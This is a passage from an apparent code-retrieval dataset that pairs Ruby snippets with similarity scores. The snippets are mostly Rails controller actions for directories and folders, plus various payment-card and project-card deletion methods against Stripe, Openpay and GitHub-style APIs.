@diretor.update_attributes(diretor_params)\n format.html { redirect_to @diretor, notice: 'O diretor foi atualizado com sucesso.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @diretor.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "0bf3de4164f25f8ff3d7633e8621aef7", "score": "0.5079542", "text": "def create_folder token, parent_id, name, description\n uri = URI.parse \"https://#{get_hostname(token)}/sf/v3/Items(#{parent_id})/Folder\"\n puts uri\n \n http = Net::HTTP.new uri.host, uri.port\n http.use_ssl = true\n http.verify_mode = OpenSSL::SSL::VERIFY_PEER\n \n folder = {\"Name\"=>name, \"Description\"=>description}\n \n request = Net::HTTP::Post.new uri.request_uri \n request[\"Authorization\"] = get_authorization_header(token)\n request[\"Content-Type\"] = \"application/json\"\n request.body = folder.to_json\n \n response = http.request request\n puts \"#{response.code} #{response.message}\"\n \n if response.kind_of? Net::HTTPSuccess\n new_folder = JSON.parse response.body\n puts \"Created New Folder: #{new_folder['Id']}\"\n end\nend", "title": "" }, { "docid": "a974d51aa98bfb2d3382d5a6f114837b", "score": "0.5078956", "text": "def create_directory(_filename)\n fail Dav::Exception::MethodNotAllowed, 'Creating new collections in this collection is not supported'\n end", "title": "" }, { "docid": "9bbd4abda8fab6c2e86f0825aa346486", "score": "0.507781", "text": "def daw_director_params\n params.require(:daw_director).permit(:dire_fechaingr)\n end", "title": "" }, { "docid": "6b245cac93699f59dd5f5fe51a93d87e", "score": "0.50732553", "text": "def new\n\n\t\t@direccion = Direccion.new\n\n\tend", "title": "" }, { "docid": "476965b6961800a6e7eb44d05c1b380b", "score": "0.5072522", "text": "def update\n respond_to do |format|\n if @crew_diretory.update(crew_diretory_params)\n format.html { redirect_to @crew_diretory, notice: 'Diretory was successfully updated.' }\n format.json { render :show, status: :ok, location: @crew_diretory }\n else\n format.html { render :edit }\n format.json { render json: @crew_diretory.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "533b8d7a4f510f520f8c2cb2d46171ae", "score": "0.5071469", "text": "def directory_tree\n hash = directory_hash(@project.project_path, @project.name)\n hash[:isExpanded] = true\n\n render json: Oj.dump(hash.deep_stringify_keys)\n end", "title": "" }, { "docid": "26df4de4600c7888c8eae32519afb19f", "score": "0.50691533", "text": "def create\n @path = Path.new(params[:path])\n\n if @path.save\n render json: @path, status: :created, location: @path\n else\n render json: @path.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "aeb8d597d070d619e1e65fa57dd419ec", "score": "0.5068152", "text": "def tree\n @root = params[:root]\n @path = File.expand_path(@root, FILESYSTEM_ROOT)\n return unless FILESYSTEM_ROOT == @path.slice(0, FILESYSTEM_ROOT.length)\n \n dir_mode = File.directory? @path\n if dir_mode\n @directories, @files = Dir.glob(File.join(@path, '**', '**')).partition { |file| File.directory? file }\n else\n @directories, @files = [], [@path]\n end\n \n # @files.collect! { |file| file.slice(1 + FILESYSTEM_ROOT.length, file.length) }\n output = []\n for file in @files\n rel_path = dir_mode ? file.slice(1 + FILESYSTEM_ROOT.length, file.length) : File.basename(file)\n abs_prefix = file.slice(0, file.length - rel_path.length - 1)\n output << { \n :path => file,\n :pref => abs_prefix,\n :suff => rel_path,\n :size => File.size(file)\n }\n end\n \n respond_to do |format|\n format.json { render :json => output.to_json }\n end\n end", "title": "" }, { "docid": "acc5c0bde8502997bb7823ac78c6bada", "score": "0.5063923", "text": "def create_dir(name)\n\t\tname += '/' unless name.tail(1) == '/'\n\t\tself[name].create\n\tend", "title": "" }, { "docid": "542e10d9998b4438bfe703562a2ee01c", "score": "0.5063808", "text": "def create\n @denunciante = Denunciante.new(denunciante_params)\n\n respond_to do |format|\n if @denunciante.save\n format.html { redirect_to @denunciante, notice: 'Denunciante was successfully created.' }\n format.json { render :show, status: :created, location: @denunciante }\n else\n format.html { render :new }\n format.json { render json: @denunciante.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "5a3741d9ca674fac99d1b602cccd6bcf", "score": "0.5046911", "text": "def destroy\n @direccion.destroy\n respond_to do |format|\n format.html { redirect_to direccions_url, notice: 'Direccion eliminada exitosamente.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "1e189271a9eaf9a5656b41733f877fd3", "score": "0.5040067", "text": "def subdirectories \n # .....\n end", "title": "" }, { "docid": "6029fe60bcacaf48da27d02ff25de83a", "score": "0.50321573", "text": "def create_directory(file)\n end", "title": "" }, { "docid": "9a0f7de01523ba04ed9edd4dbabfd8ff", "score": "0.50200164", "text": "def create\n @parent = Folder.find params[:parent_id]\n @folder = @parent.children.new params[:folder]\n @folder.user = current.user\n\n if @folder.save\n redirect_to folder_path(@folder)\n else\n render :action => :new\n end\n end", "title": "" }, { "docid": "d41f3611cfd27ae47ad57a5a046ee83c", "score": "0.5019515", "text": "def new\n @direccion_negocio = DireccionNegocio.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @direccion_negocio }\n end\n end", "title": "" }, { "docid": "aa6e8cc237ea13bd470af42aab7fcc0e", "score": "0.501894", "text": "def index\n\t\t#@directories = Directory.where(parent_id: params[:parent_id])\n\t\t@directories = []\n\t\tDir.glob(\"#{params[:path]}/*\").each do |f| \n\t\t\tif(File.directory?(f))\n\t\t\t\[email protected](File.basename(f))\n\t\t\tend\n\t\tend\n respond_with(@directories)\n end", "title": "" }, { "docid": "4c0b178027f30a51b1da17f2db079d21", "score": "0.5014923", "text": "def output(data,dir)\n dir = Dir.new(dir)\n data.each {\n |name,zoneinfo|\n # make sure the directory exists\n filename = dir.path + '/' + name\n dirname = filename.slice(0,filename.rindex('/'))\n begin\n d = Dir.new(dirname)\n d.close\n rescue\n Dir.mkdir(dirname)\n end\n # open file for writing\n f = File.new(filename,\"w\")\n f.write(zoneinfo.to_json+\"\\n\")\n f.close\n }\n end", "title": "" } ]
6e55fd7d66bbd6dc87e2217de196034f
Delete a card Permanently deletes a card definition with the given ID. Once deleted, data fetch requests for this card will no longer be sent to your service. This can't be undone.
[ { "docid": "498d06aa5e2c37403c8294f44e00052c", "score": "0.0", "text": "def archive(app_id, card_id, opts = {})\n archive_with_http_info(app_id, card_id, opts)\n nil\n end", "title": "" } ]
[ { "docid": "792a6b9b8dfdf725e9bed8d31fddbd8a", "score": "0.7816533", "text": "def delete(card_id, opts = {})\n data, _status_code, _headers = card_delete_with_http_info(card_id, opts)\n data\n end", "title": "" }, { "docid": "8bda1cf1a611a3806acbbcf4598d83da", "score": "0.762443", "text": "def delete_card(card)\n @cards.delete(card.id)\n end", "title": "" }, { "docid": "ff0cc1872c73612f610cb61c65b0a661", "score": "0.7322745", "text": "def delete card\n @hand.delete(Card.new(card))\n end", "title": "" }, { "docid": "ff0cc1872c73612f610cb61c65b0a661", "score": "0.7322745", "text": "def delete card\n @hand.delete(Card.new(card))\n end", "title": "" }, { "docid": "ace6f4dec9571ed96c3c0971c459088e", "score": "0.7322281", "text": "def destroy_payment_card(card_id)\n params = { query: card_id }\n\n data = endpoint(name: 'PaymentCards', params: params).do_delete\n\n RubyLokaliseApi::Generics::DeletedResource.new data.content\n end", "title": "" }, { "docid": "298cb7b3d47dbc582af9caecaa14b4fd", "score": "0.70467657", "text": "def delete_project_card(card_id, options = {})\n opts = options.dup\n opts[:accept] = 'application/vnd.github.inertia-preview+json' if opts[:accept].nil?\n\n boolean_from_response :delete, \"projects/columns/cards/#{card_id}\", opts\n end", "title": "" }, { "docid": "298cb7b3d47dbc582af9caecaa14b4fd", "score": "0.70467657", "text": "def delete_project_card(card_id, options = {})\n opts = options.dup\n opts[:accept] = 'application/vnd.github.inertia-preview+json' if opts[:accept].nil?\n\n boolean_from_response :delete, \"projects/columns/cards/#{card_id}\", opts\n end", "title": "" }, { "docid": "bf45525f626f6cc90d443f32a2d3a8a8", "score": "0.7020312", "text": "def delete_card(request)\n @cards.delete(request)\n end", "title": "" }, { "docid": "6421db34109ce552735d5a84a00e6aa8", "score": "0.70138854", "text": "def delete_project_card(card_id, options = {})\n opts = options\n opts[:accept] = \"application/vnd.github.inertia-preview+json\" if opts[:accept].nil?\n\n boolean_from_response :delete, \"projects/columns/cards/#{card_id}\", opts\n end", "title": "" }, { "docid": "0e225f82a30a6029deeab0d8129b5121", "score": "0.6961784", "text": "def delete_card\n CardProcessor.new(self).delete_card\n end", "title": "" }, { "docid": "172cd69dbf7014d05bb81a0893437a7b", "score": "0.69276994", "text": "def delete_stripe_card\n customer = Stripe::Customer.retrieve(self.stripe_customer_id)\n customer.cards.retrieve(self.stripe_card_id).delete\n end", "title": "" }, { "docid": "7fba78b9d0684161a5f946bfb9509f67", "score": "0.6887145", "text": "def delete_card(customer_id,\r\n card_id,\r\n idempotency_key = nil)\r\n # Prepare query url.\r\n _path_url = '/customers/{customer_id}/cards/{card_id}'\r\n _path_url = APIHelper.append_url_with_template_parameters(\r\n _path_url,\r\n 'customer_id' => customer_id,\r\n 'card_id' => card_id\r\n )\r\n _query_builder = Configuration.base_uri.dup\r\n _query_builder << _path_url\r\n _query_url = APIHelper.clean_url _query_builder\r\n # Prepare headers.\r\n _headers = {\r\n 'accept' => 'application/json',\r\n 'ServiceRefererName' => Configuration.service_referer_name,\r\n 'idempotency-key' => idempotency_key\r\n }\r\n # Prepare and execute HttpRequest.\r\n _request = @http_client.delete(\r\n _query_url,\r\n headers: _headers\r\n )\r\n BasicAuth.apply(_request)\r\n _context = execute_request(_request)\r\n # Validate response against endpoint and global error codes.\r\n if _context.response.status_code == 400\r\n raise ErrorException.new(\r\n 'Invalid request',\r\n _context\r\n )\r\n elsif _context.response.status_code == 401\r\n raise ErrorException.new(\r\n 'Invalid API key',\r\n _context\r\n )\r\n elsif _context.response.status_code == 404\r\n raise ErrorException.new(\r\n 'An informed resource was not found',\r\n _context\r\n )\r\n elsif _context.response.status_code == 412\r\n raise ErrorException.new(\r\n 'Business validation error',\r\n _context\r\n )\r\n elsif _context.response.status_code == 422\r\n raise ErrorException.new(\r\n 'Contract validation error',\r\n _context\r\n )\r\n elsif _context.response.status_code == 500\r\n raise ErrorException.new(\r\n 'Internal server error',\r\n _context\r\n )\r\n end\r\n validate_response(_context)\r\n # Return appropriate response type.\r\n decoded = APIHelper.json_deserialize(_context.response.raw_body)\r\n CustomersCardsResponse.from_hash(decoded)\r\n end", "title": "" }, { "docid": "94c3a07e185e16e36f671453171eec5a", "score": "0.68490446", "text": "def delete_by_id(organization, id)\n HttpClient::Preconditions.assert_class('organization', organization, String)\n HttpClient::Preconditions.assert_class('id', id, String)\n r = @client.request(\"/#{CGI.escape(organization)}/sources/payments/cards/#{CGI.escape(id)}\").delete\n nil\n end", "title": "" }, { "docid": "df16b92975e67630e55ca40bf4f0ff66", "score": "0.68430066", "text": "def destroy\n @id_card = IdCard.find(params[:id])\n @id_card.destroy\n\n respond_to do |format|\n format.html { redirect_to(id_cards_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "f57cb44ea84188ea50bb716862da063b", "score": "0.6842652", "text": "def destroy\n # TODO: re-order remaining cards\n @card.destroy\n head 204\n end", "title": "" }, { "docid": "057b84da857a96c4164be774dce8a9e4", "score": "0.6830591", "text": "def delete(name)\n id = name_to_id(name)\n puts \"Deleting card with ID #{id}.\"\n self.class.delete(\"/cards/#{id}.xml\")\n end", "title": "" }, { "docid": "b965f4bddd1d5fd47fea3e3eeb551ac2", "score": "0.6826335", "text": "def delete_project_card(id, options = T.unsafe(nil)); end", "title": "" }, { "docid": "a3b8f71c08fb8d19a0ca1b1cdd5357b3", "score": "0.6801761", "text": "def destroy\n if(params.has_key?(:card_id))\n @Deck_card = DeckCard.find_by_card_id(params[:card_id])\n @Deck_card.destroy\n else\n DeckCard.delete_all\n end\n render json: {}, status: :no_content\n end", "title": "" }, { "docid": "843814806176478e0746f7fd47e9d94e", "score": "0.6789907", "text": "def destroy\n @card = Card.find(params[:id])\n @card.destroy\n end", "title": "" }, { "docid": "339b34360bc755a9c81a004e69d70712", "score": "0.6739885", "text": "def card_delete_with_http_info(card_id, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: CardsApi.card_delete ...'\n end\n # verify the required parameter 'card_id' is set\n if @api_client.config.client_side_validation && card_id.nil?\n fail ArgumentError, \"Missing the required parameter 'card_id' when calling CardsApi.card_delete\"\n end\n pattern = Regexp.new(/^card_[a-zA-Z0-9]+$/)\n if @api_client.config.client_side_validation && card_id !~ pattern\n fail ArgumentError, \"invalid value for 'card_id' when calling CardsApi.card_delete, must conform to the pattern #{pattern}.\"\n end\n\n # resource path\n local_var_path = '/cards/{card_id}'.sub('{' + 'card_id' + '}', CGI.escape(card_id.to_s))\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body]\n\n # return_type\n return_type = opts[:debug_return_type] || 'CardDeletion'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['basicAuth']\n\n new_options = opts.merge(\n :operation => :\"CardsApi.card_delete\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:DELETE, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: CardsApi#card_delete\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "title": "" }, { "docid": "2537236b242303d2ca1d9293fd44e486", "score": "0.6714508", "text": "def delete_project_card(id, options = {})\n opts = ensure_api_media_type(:projects, options)\n boolean_from_response :delete, \"projects/columns/cards/#{id}\", opts\n end", "title": "" }, { "docid": "e53835f724b6117aa66516c5080714de", "score": "0.6697781", "text": "def destroy\n authorize @card\n @card.destroy\n head :no_content\n end", "title": "" }, { "docid": "f5a0416dd4d6357c4d3e9172d73b5c68", "score": "0.66955966", "text": "def delete_card\n result = Payment::delete_card @acct.token, @acct if @acct.token\n\n # remove card\n if result \n @acct.errors.any? ? false : reset_card\n else\n @acct.errors.add :base, \"Error: There was a problem with your account.\"\n false\n end\n end", "title": "" }, { "docid": "49c8fb3ebd608b2a9bda8b626ff34800", "score": "0.6659035", "text": "def remove_card(card)\n cards.delete(card)\n end", "title": "" }, { "docid": "af3d2811f853236f25d097f832a7330c", "score": "0.6631363", "text": "def delete_card\n card = current_user.payment_cards.find(params[:id])\n if card.payments.active_recurring.any? # if current card has active recurring payments can not be deleted\n card.make_hidden!\n head(:ok)\n else\n if card.destroy\n head(:ok)\n else\n render_error_model card\n end\n end\n end", "title": "" }, { "docid": "5154ac114b5053a536cc0a4518b8fa93", "score": "0.65645933", "text": "def remove_credit_card id\n customer.sources.retrieve(id).delete()\n end", "title": "" }, { "docid": "73d6b5faf65d60c59735d1cf302280fa", "score": "0.65487385", "text": "def destroy\n card_id = @card.id\n @card.destroy\n\n respond_to do |format|\n # format.html { redirect_to cards_url, notice: 'Card was successfully destroyed.' }\n format.json { render json: { cardId: card_id } }\n end\n end", "title": "" }, { "docid": "2526592d1445ecf4ce5d1f462ab4824b", "score": "0.652722", "text": "def destroy\n @card = Card.find(params[:id])\n @card.destroy\n\n respond_to do |format|\n format.html { redirect_to cards_url, notice: t('view.cards.correctly_deleted') }\n format.json { head :ok }\n end\n end", "title": "" }, { "docid": "28b005c1b5d435a1555e6c1415966c54", "score": "0.6519017", "text": "def destroy\n @card = Card.find(params[:id])\n @card.remove_from_list()\n @card.destroy\n\n respond_to do |format|\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "a0500b19e487261e92fc5d0a6a80b3f8", "score": "0.6465403", "text": "def destroy\n @card = Card.find(params[:id])\n @card.destroy\n render nothing: true\n end", "title": "" }, { "docid": "5c2dc26dbf1157fe526bbd0a19235fff", "score": "0.6451663", "text": "def destroy\n if @card.destroy\n respond_ok \"card\", @card\n else\n respond_err \"card\", @card, @card.errors\n end\n end", "title": "" }, { "docid": "be5f85eee4873088fbfdc4dd078c0727", "score": "0.64496255", "text": "def destroy\n @card.destroy\n\n head :no_content \n end", "title": "" }, { "docid": "22950590b13aacf5c5a899b48476ed39", "score": "0.6443633", "text": "def destroy\n @card.destroy\n end", "title": "" }, { "docid": "93cdd8ba8b65274232c542e9e1fc4d6f", "score": "0.6439882", "text": "def postcard_deletepostcard(postcardid)\r\n # Prepare query url.\r\n _query_builder = Configuration.base_uri.dup\r\n _query_builder << '/Postcard/deletepostcard.json'\r\n _query_url = APIHelper.clean_url _query_builder\r\n\r\n # Prepare form parameters.\r\n _parameters = {\r\n 'postcardid' => postcardid\r\n }\r\n _parameters = APIHelper.form_encode_parameters(_parameters)\r\n\r\n # Prepare and execute HttpRequest.\r\n _request = @http_client.post(\r\n _query_url,\r\n parameters: _parameters\r\n )\r\n BasicAuth.apply(_request)\r\n _context = execute_request(_request)\r\n validate_response(_context)\r\n\r\n # Return appropriate response type.\r\n _context.response.raw_body\r\n end", "title": "" }, { "docid": "67c8686c187abf673e7a6116e4826dcc", "score": "0.6437312", "text": "def destroy\n @hz_idcard.destroy\n respond_to do |format|\n format.html { redirect_to hz_idcards_url, notice: 'Idcard was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "e050d6434eedbfaea13f052c7c179052", "score": "0.64262944", "text": "def delete(*args)\n arguments(args, required: [:card_id])\n params = arguments.params\n\n params[\"accept\"] ||= ::Github::Client::Projects::PREVIEW_MEDIA\n\n delete_request(\"/projects/columns/cards/#{arguments.card_id}\", params)\n end", "title": "" }, { "docid": "7c60a263ebd2450d50a13833b194ed4a", "score": "0.6414259", "text": "def destroy\n @card = Card.find(params[:id])\n @card.destroy\n\n respond_to do |format|\n format.html { redirect_to cards_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "7c60a263ebd2450d50a13833b194ed4a", "score": "0.6414259", "text": "def destroy\n @card = Card.find(params[:id])\n @card.destroy\n\n respond_to do |format|\n format.html { redirect_to cards_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "7c60a263ebd2450d50a13833b194ed4a", "score": "0.6414259", "text": "def destroy\n @card = Card.find(params[:id])\n @card.destroy\n\n respond_to do |format|\n format.html { redirect_to cards_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "7c60a263ebd2450d50a13833b194ed4a", "score": "0.6414259", "text": "def destroy\n @card = Card.find(params[:id])\n @card.destroy\n\n respond_to do |format|\n format.html { redirect_to cards_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "7c60a263ebd2450d50a13833b194ed4a", "score": "0.6414259", "text": "def destroy\n @card = Card.find(params[:id])\n @card.destroy\n\n respond_to do |format|\n format.html { redirect_to cards_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "7c60a263ebd2450d50a13833b194ed4a", "score": "0.6414259", "text": "def destroy\n @card = Card.find(params[:id])\n @card.destroy\n\n respond_to do |format|\n format.html { redirect_to cards_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "7c60a263ebd2450d50a13833b194ed4a", "score": "0.6414259", "text": "def destroy\n @card = Card.find(params[:id])\n @card.destroy\n\n respond_to do |format|\n format.html { redirect_to cards_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "7c60a263ebd2450d50a13833b194ed4a", "score": "0.6414259", "text": "def destroy\n @card = Card.find(params[:id])\n @card.destroy\n\n respond_to do |format|\n format.html { redirect_to cards_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "7c60a263ebd2450d50a13833b194ed4a", "score": "0.6414259", "text": "def destroy\n @card = Card.find(params[:id])\n @card.destroy\n\n respond_to do |format|\n format.html { redirect_to cards_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "7c60a263ebd2450d50a13833b194ed4a", "score": "0.6414259", "text": "def destroy\n @card = Card.find(params[:id])\n @card.destroy\n\n respond_to do |format|\n format.html { redirect_to cards_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "7a49f9d3d411dea7d0412e9a6e771dbd", "score": "0.64099926", "text": "def destroy\n @card = @deck.cards.find(params[:id])\n @card.destroy\n respond_to do |format|\n format.html { redirect_to deck_cards_path(@deck), notice: 'Card was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "9b52151d9ef88a96d59cd47e5d744072", "score": "0.63825077", "text": "def destroy\n @make_card.destroy\n RechargeableCard.where(make_card_id: params[:id]).delete_all\n respond_to do |format|\n format.html { redirect_to make_cards_url}\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "3de14ecd50200fc52fae776763ef1848", "score": "0.6381132", "text": "def destroy\n @card = @deck.cards.find(params[:id])\n @card.destroy\n\n respond_to do |format|\n format.html { redirect_to deck_cards_url(@deck) }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "ecfae9518fdbe79b2870adf54cfaf057", "score": "0.6376896", "text": "def removeStripeCard card\n\t\tstripeCustomer = Stripe::Customer.retrieve(card.user.stripe_customer_id)\n\t\tstripeCustomer.sources.retrieve(card.stripe_id).delete\n\t\tcard.destroy\n\tend", "title": "" }, { "docid": "23afe33f82cba6ea73f267f9fca802d3", "score": "0.63763964", "text": "def destroy\n @card = Card.find(params[:id])\n @card.destroy\n\n respond_to do |format|\n format.html { redirect_to cards_url }\n format.json { head :ok }\n end\n end", "title": "" }, { "docid": "23afe33f82cba6ea73f267f9fca802d3", "score": "0.63763964", "text": "def destroy\n @card = Card.find(params[:id])\n @card.destroy\n\n respond_to do |format|\n format.html { redirect_to cards_url }\n format.json { head :ok }\n end\n end", "title": "" }, { "docid": "23afe33f82cba6ea73f267f9fca802d3", "score": "0.63763964", "text": "def destroy\n @card = Card.find(params[:id])\n @card.destroy\n\n respond_to do |format|\n format.html { redirect_to cards_url }\n format.json { head :ok }\n end\n end", "title": "" }, { "docid": "f81b48f1faf20c869b8d4a0ab8dcc77c", "score": "0.63754576", "text": "def destroy\n @card = Card.find(params[:id]) \n if @card.member_cards.first\n flash[:notice] = \"此类型的卡已经有绑定,不能删除!\"\n else\n @card.destroy\n flash[:notice] = \"删除成功!\"\n end\n respond_to do |format|\n format.html { redirect_to(cards_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "2c7b0396a2203cde1b1c96366e11792b", "score": "0.63553125", "text": "def delete\n @card.pop\n if user_input === delete\n delete\n end\n end", "title": "" }, { "docid": "973bad13724abed1ed2ac93189fc8b83", "score": "0.63487697", "text": "def unstore(card_id, options = {}, deprecated_options = {})\n raise ArgumentError.new('card_id nil but is a required field.') if card_id.nil?\n requires!(options, :customer)\n requires!(options[:customer], :id)\n commit(:delete, \"customers/#{CGI.escape(options[:customer][:id])}/cards/#{CGI.escape(card_id)}\", nil)\n end", "title": "" }, { "docid": "126bb3e65b64c72d44f6c53b5ae13bc4", "score": "0.6347503", "text": "def destroy\n @flash_card ||= FlashCard.find params[:id]\n\n if @flash_card.destroy\n head 204\n else\n render json: { resource: \"flashCard\", errors: errors_hash_for(FlashCard, \"could not be destroyed\") }, status: 500\n end\n end", "title": "" }, { "docid": "a2b289e200fd031733759d3866be21ec", "score": "0.6335873", "text": "def destroy\n #@card = Card.find(params[:id])\n @card.destroy\n\n respond_to do |format|\n format.html { redirect_to cards_url, :notice => 'Card successfully deleted.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "9511c3b65ddb73dc7342c7a9e609c8f4", "score": "0.63316995", "text": "def destroy\n @card.update!(deleted_at: Time.now)\n respond_to do |format|\n format.html { redirect_to cards_url, notice: 'Card was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "41c7fc2550e06869e22c44315e296c71", "score": "0.6298953", "text": "def delete_timecard(timecard_id, opts = {})\n data, _status_code, _headers = delete_timecard_with_http_info(timecard_id, opts)\n return data\n end", "title": "" }, { "docid": "84ae7523675e364259e0b91a6c1c006a", "score": "0.6297037", "text": "def destroy\n @card = Card.find(params[:id])\n @card.destroy\n\tflash[:error] = @card.errors[:base]\n respond_to do |format|\n format.html { redirect_to cards_url}\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "9331c25417de61d5a7be4bc11761300a", "score": "0.62718505", "text": "def destroy\n @card = Card.find(params[:id])\n @card.destroy\n\n respond_to do |format|\n format.html { redirect_to(cards_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "9331c25417de61d5a7be4bc11761300a", "score": "0.62718505", "text": "def destroy\n @card = Card.find(params[:id])\n @card.destroy\n\n respond_to do |format|\n format.html { redirect_to(cards_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "9331c25417de61d5a7be4bc11761300a", "score": "0.62718505", "text": "def destroy\n @card = Card.find(params[:id])\n @card.destroy\n\n respond_to do |format|\n format.html { redirect_to(cards_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "0de5cfe8308b5efa3c5be4647aa6c6bd", "score": "0.62655663", "text": "def destroy\n if(params.has_key?(:card_id))\n @Waste4Card = Waste4Card.find_by_card_id(params[:card_id])\n @Waste4Card.destroy\n else\n Waste4Card.delete_all\n end\n render json: {}, status: :no_content\n end", "title": "" }, { "docid": "85a8f9f4a78375cdf794cb10cde5ced4", "score": "0.6250906", "text": "def delete(name)\r\n id = name_to_id(name)\r\n self.class.delete(\"/cards/#{id}.xml\")\r\n end", "title": "" }, { "docid": "2e3faa9783c07c6551aa8628be9d326b", "score": "0.624677", "text": "def destroy\n @card = @deck.cards.find(params[:id])\n @card.destroy\n\n respond_to do |format|\n # flash.now.notice = \"\\\"#{@card.content}\\\" was removed\"\n format.html { redirect_to deck_cards_url(@deck) }\n format.json { head :no_content }\n format.js\n end\n end", "title": "" }, { "docid": "695a0de9f48ae263a2919c5e71175064", "score": "0.62445575", "text": "def destroy\n @api_v1_card.destroy\n respond_to do |format|\n format.html { head :no_content }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "9765f5f649d06e5bd1dc1bbc5160a451", "score": "0.6230679", "text": "def destroy\n @card_list.destroy\n\n head :no_content \n end", "title": "" }, { "docid": "4880560c22973473fad86bf17929d8ba", "score": "0.6227255", "text": "def delete_card user_openpay_id, card_id \n begin\n cards = @openpay.create(:cards)\n result_hash = cards.delete(card_id, user_openpay_id)\n if result_hash \n raise \"Error borrando la tarjeta en Openpay\" \n else\n return true \n end\n rescue Exception => e\n raise \"Error borrando la tarjeta de Openpay - #{e.message}\"\n end\n end", "title": "" }, { "docid": "34e03e0688e8c06fe08cb7cfe45df627", "score": "0.6218404", "text": "def destroy\n #assign @card to the current card\n @privateCard = PrivateCard.find(params[:id])\n #if succesful display message\n if @privateCard.destroy\n \tflash[:notice] = \"Card was destroyed\"\n #redirect to home index\n redirect_to root_path\n else\n \tflash[:alert] = \"Something went wrong.\"\n \tredirect_to root_path\n end\n end", "title": "" }, { "docid": "609ef6505614359de78cf1fd9dc83f1b", "score": "0.62141186", "text": "def remove_card(card)\r\n\t\treturn @hand.delete(card)\r\n\tend", "title": "" }, { "docid": "27f165312ca9d32a7ac8257d8bb8504e", "score": "0.6194126", "text": "def delete_cards\n params[:_json].each do |card|\n if card[:id].nil?\n Card.destroy(card[:id])\n end\n end\n end", "title": "" }, { "docid": "d639f59036d52b77318f2294c060af4f", "score": "0.6179639", "text": "def remove\n UserCard.where(user_id: current_user.id, debit_card_id: params[:id]).first.destroy\n redirect_to root_path, notice: \"Card removed.\"\n end", "title": "" }, { "docid": "818f3fbcdaa10e75fb66f5e862822730", "score": "0.6173699", "text": "def destroy\n @rechargeable_card.destroy\n respond_to do |format|\n format.html { redirect_to rechargeable_cards_url, notice: 'Rechargeable card was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "965fd2c07eddb0291afea7a2c271ba99", "score": "0.6171716", "text": "def destroy\n @card_expansion.destroy\n respond_to do |format|\n format.html { redirect_to card_expansions_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "a81155169510ca7e0ed9ab5fc1a3badc", "score": "0.61700195", "text": "def destroy\n @cardapio = Cardapio.find(params[:id])\n @cardapio.destroy\n\n respond_to do |format|\n format.html { redirect_to cardapios_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "a81155169510ca7e0ed9ab5fc1a3badc", "score": "0.61700195", "text": "def destroy\n @cardapio = Cardapio.find(params[:id])\n @cardapio.destroy\n\n respond_to do |format|\n format.html { redirect_to cardapios_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "0d4c244962059ca6339ec0e358d304b3", "score": "0.6166937", "text": "def destroy\n @card.destroy\n render json: { message: 'Card deleted sucussfully.' }, status: 200\n end", "title": "" }, { "docid": "1f551d770936b86392ff4f30ea4ac273", "score": "0.6160417", "text": "def destroy\n @card = Card.find(params[:id])\n @card.destroy\n\n respond_with @theme\n end", "title": "" }, { "docid": "d3552c3b398c39b29d84e8ec10f80d13", "score": "0.61571544", "text": "def deletecard\n getProfile\n\n customer = Stripe::Customer.retrieve(@profile.stripe_customer_id)\n card = customer.cards.retrieve(params[:stripe_card_id]).delete\n\n respond_to do |format|\n format.html {render action: dashboards}\n format.json {render json: card.to_s}\n end\n\n end", "title": "" }, { "docid": "19ac6a8f461267ffd0813c7b130977ab", "score": "0.61467284", "text": "def destroy\n if(params.has_key?(:card_id))\n @Waste1Card = Waste1Card.find_by_card_id(params[:card_id])\n @Waste1Card.destroy\n else\n Waste1Card.delete_all\n end\n render json: {}, status: :no_content\n end", "title": "" }, { "docid": "f853bedd9d87f9df3433d1b013dd475f", 